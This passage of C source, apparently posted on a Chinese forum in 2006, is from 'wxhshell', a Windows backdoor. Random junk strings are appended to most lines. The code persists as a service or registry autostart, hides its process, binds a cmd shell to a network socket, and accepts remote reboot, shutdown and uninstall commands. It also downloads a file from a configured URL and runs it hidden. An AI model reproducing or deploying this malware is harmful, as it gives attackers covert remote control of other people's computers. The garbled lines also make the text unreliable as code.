  } oE,TA2  
  // 安装 1So`]N4  
  case 'i': { O;0VKNn['  
    if(Install()) @qB>qD~WsD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G(bl)p^  
    else w,OPM}) il  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PlwM3lrj  
    break; R%`fd *g  
    } /RWD\u<l  
  // 卸载 4rpry@1  
  case 'r': { Fv:x>qZr@  
    if(Uninstall()) ^Iqu^n?2.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [i_evsUj?  
    else v]T?xo~@'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^E".`~R  
    break; rkz84wDx  
    } vTC{  
  // 显示 wxhshell 所在路径 CXTt N9N9  
  case 'p': { 6;(b-Dhi  
    char svExeFile[MAX_PATH]; #JN4K>_4  
    strcpy(svExeFile,"\n\r"); t~":'le`zr  
      strcat(svExeFile,ExeFile); 8= g~+<A  
        send(wsh,svExeFile,strlen(svExeFile),0); p ^9o*k`u  
    break; ZWKvz3Wt  
    } ~JP3C5q  
  // 重启 xxld.j6  
  case 'b': { % pAbkb3m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {Ywdhw JP  
    if(Boot(REBOOT)) a;\a>N4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z|zEsDh;  
    else { #8y"1I=i&  
    closesocket(wsh); wn\ R|'Rdz  
    ExitThread(0); v4Kf{9q#  
    } G9@5 !-  
    break; ^ ~dC&!D  
    } 3Z7gPU!H=  
  // 关机 &}\{qFD;  
  case 'd': { '-3K`[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "6v_<t`q"  
    if(Boot(SHUTDOWN)) s|X_:3\x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ant2];0p  
    else { #c~- 8=  
    closesocket(wsh); l8e)|MSh  
    ExitThread(0); ";DozPU  
    } p$` ^A  
    break; ]@}o"Td  
    } t. DnF[  
  // 获取shell }ktK*4<k  
  case 's': { 3ug~m-_  
    CmdShell(wsh); _nSEp >]L  
    closesocket(wsh); 3_]QtP3  
    ExitThread(0); s +E4AG1r  
    break; ubc k{\.  
  } 4M+f#b1  
  // 退出 sejT] rJ  
  case 'x': { 6P)DM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,k(B>O~o  
    CloseIt(wsh); fUZCP*7>  
    break; _rz\[{)  
    } mP?}h  
  // 离开 QSwT1P'U  
  case 'q': { ;vn0b"Fi3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $x#qv1  
    closesocket(wsh); EYi{~  
    WSACleanup(); </R@)_'  
    exit(1); A$L:,b(  
    break; bfkFk  
        } x'SIHV4M@Q  
  } c5pK%I}O  
  } 5'%O]~  
J/PK #<  
  // 提示信息  '{cFr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6rO^ p  
} `G=+qti  
  } LLoV]~dvUu  
LLMGs: [  
  return; 'R99m?"  
} %/ :&L+q  
Ds{bYK_y  
// shell模块句柄 ,wy;7T>ODd  
int CmdShell(SOCKET sock) Y@qugQM>  
{ ^N`KT   
STARTUPINFO si; yN06` =  
ZeroMemory(&si,sizeof(si)); w7\vrS>&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e)3Mg^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GoPMWbI7  
PROCESS_INFORMATION ProcessInfo; @gQ?cU7  
char cmdline[]="cmd"; >t.PU.OM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,mz7!c9H^a  
  return 0; "hZ `^ "0b  
} 9NZq k  
$_e{Zv[  
// 自身启动模式 rA @|nL{  
int StartFromService(void) jR*iA3LDo  
{ }r"E\~E  
typedef struct :`0,f?cE  
{ P]L%$!g  
  DWORD ExitStatus; $#wi2Ve=6b  
  DWORD PebBaseAddress; )QmmI[,tq  
  DWORD AffinityMask; gV*4{ d`  
  DWORD BasePriority; -w'g0/fD  
  ULONG UniqueProcessId; ::3[H$  
  ULONG InheritedFromUniqueProcessId; 4#I=n~8a  
}   PROCESS_BASIC_INFORMATION; XjYMp3  
}g[Hi`  
PROCNTQSIP NtQueryInformationProcess; <,H/7Ba  
!#E-p?O.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A>(EM}\,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T~4HeEG>uH  
:R3&R CTZ  
  HANDLE             hProcess; U@(8)[?nxn  
  PROCESS_BASIC_INFORMATION pbi; t{B6W)q  
{7v|\6@e3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zB\ 8<97 C  
  if(NULL == hInst ) return 0; W>'gG}.  
RusiCo!r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D>`{f4Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f<R 3ND)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b>d]= u  
aD~S~L!  
  if (!NtQueryInformationProcess) return 0; [~;wCW,1  
j-qg{oIJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cvx"XxE,  
  if(!hProcess) return 0; J|cw9u  
Cn.dv-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Upm#:i|"  
#;m^DX QZn  
  CloseHandle(hProcess); $lJ!f  
b0tbS[j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7JY9#+?p>  
if(hProcess==NULL) return 0; :JXcs39  
0|4R8Dh*-  
HMODULE hMod; ' |M} 3sL  
char procName[255]; :73T9/  
unsigned long cbNeeded; R80|q#h,]  
QqXaXx;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xx?0Ftuq  
<YWu/\{KT  
  CloseHandle(hProcess); ol_&epG;ST  
3;!a'[W&p  
if(strstr(procName,"services")) return 1; // 以服务启动 'OMl9}M  
SO~pe$c-  
  return 0; // 注册表启动 Yt r*"-  
} H 'nLC,  
9mpQusM  
// 主模块 [yRqSB  
int StartWxhshell(LPSTR lpCmdLine) [y<s]C6E  
{ <FN +  
  SOCKET wsl; ](IOn:MuDE  
BOOL val=TRUE; #!rH}A>n+  
  int port=0; Exat_ L'?  
  struct sockaddr_in door; 4dh> B>Q  
b}N \h<\G  
  if(wscfg.ws_autoins) Install(); f_:>36{1^!  
gUp9yV  
port=atoi(lpCmdLine); 9  I&[6}  
wOH 3[SKo  
if(port<=0) port=wscfg.ws_port; *LvdrPxU=  
UG6\OgkL+  
  WSADATA data; 9s*UJIL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; paxZlA o  
#EH\Q%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TI8E W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m^^#3*qa  
  door.sin_family = AF_INET; ![Vrbe P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2J` LZS  
  door.sin_port = htons(port); [c99m:*+  
sr:hR Q27  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \ow(4O#  
closesocket(wsl); >waA\C}  
return 1; _G)x\K]N  
} -1R7 8(1  
Wx8;+!2Q/  
  if(listen(wsl,2) == INVALID_SOCKET) { BJsN~` =r  
closesocket(wsl); Q|g>ga-a  
return 1; ^;Yjs.bI`F  
} FwQGxGZ  
  Wxhshell(wsl); ;!m_RQPFF  
  WSACleanup(); \,`iu=YZv  
HZ\=NDz  
return 0; +H!aE}  
 GU xhn  
} 9|9/8a6A  
YDEb MEMd/  
// 以NT服务方式启动 *#'&a(h B!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >SD?MW 1E  
{ .O PBET(gv  
DWORD   status = 0; 1ay{uU!EL  
  DWORD   specificError = 0xfffffff; L-e6^%eU  
R7x*/?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _cbXzSYq&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D6EqJ,~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AgdU@&^  
  serviceStatus.dwWin32ExitCode     = 0; /NVyzM51V  
  serviceStatus.dwServiceSpecificExitCode = 0; zG&yu0;D6  
  serviceStatus.dwCheckPoint       = 0; u 0 K1n_  
  serviceStatus.dwWaitHint       = 0; QW%xwV?8  
 <XnxAA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QwI HEmdM  
  if (hServiceStatusHandle==0) return; "3?:,$*  
k:1|Z+CJ  
status = GetLastError(); )/{~&L U  
  if (status!=NO_ERROR) A{52T]9X  
{ 9O:-q[K**  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @ t8{pb;v  
    serviceStatus.dwCheckPoint       = 0; CO SQ  
    serviceStatus.dwWaitHint       = 0; yIS&ZtBA  
    serviceStatus.dwWin32ExitCode     = status; ab<7jfFIa  
    serviceStatus.dwServiceSpecificExitCode = specificError; 77G4E ,]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ude)$PAe%  
    return; 1 ,6Y)_  
  } ?/KkN3Y_j[  
H"|oI|~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;{g>Z|  
  serviceStatus.dwCheckPoint       = 0; A@w9_qo  
  serviceStatus.dwWaitHint       = 0; v<?k$ e5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  PO=A^b  
} 8noo^QO  
pz/vvH5  
// 处理NT服务事件,比如:启动、停止 75']fFO@!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;B"S*wYMN  
{ &F +hh{  
switch(fdwControl) {^K&9sz  
{ e73zpF  
case SERVICE_CONTROL_STOP: HOVzpj  
  serviceStatus.dwWin32ExitCode = 0; p2 m`pT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Wt! NLlN8  
  serviceStatus.dwCheckPoint   = 0; E%)3{# .z  
  serviceStatus.dwWaitHint     = 0; vLM-v  
  { diF2:80o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <U""CAE  
  } pKk{Q0Rt  
  return; Dn;$4Dak(  
case SERVICE_CONTROL_PAUSE: y Xi$w.gr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TK%MVLTK  
  break; 5U(ry6fI=  
case SERVICE_CONTROL_CONTINUE: A#w*r-P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O,7*dniH  
  break; H=_k|#/  
case SERVICE_CONTROL_INTERROGATE: Bj\oo+L/  
  break; IN!IjInaT@  
}; Je~<2EsQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;<|m0>X  
} /k^O1+]H  
Y; q['h  
// 标准应用程序主函数 lQer|?#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,wk %)^  
{ >2< Jb!f&  
0bR})}a+Yg  
// 获取操作系统版本 \H.1I=<  
OsIsNt=GetOsVer(); c(!{_+q"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5E\&O%W"  
ixo?o]Xb`  
  // 从命令行安装 @*~cmf&FIQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); `z`"0;,7S  
]WC@*3'kye  
  // 下载执行文件 </7?puVR  
if(wscfg.ws_downexe) { 0'^zIL#.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V?Ye^ -29  
  WinExec(wscfg.ws_filenam,SW_HIDE); }9(:W</}  
} a(eUdGJ  
ZCCwx71j  
if(!OsIsNt) { FtxmCIVIV~  
// 如果时win9x,隐藏进程并且设置为注册表启动 bA3pDt).p  
HideProc(); gA:N>w&<X  
StartWxhshell(lpCmdLine); Twr<MXa  
} ~,P."  
else #5W-*?H  
  if(StartFromService()) wLH[rwPr  
  // 以服务方式启动 !4!Y~7sI"\  
  StartServiceCtrlDispatcher(DispatchTable); \Y}nehxG@  
else m=%WA5c?  
  // 普通方式启动 Ptv=Bwg  
  StartWxhshell(lpCmdLine); 28PT1 9&  
AP_2.V=Sn  
return 0;  k/}E(_e  
}
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只看该作者 1 发表于: 2006-10-10
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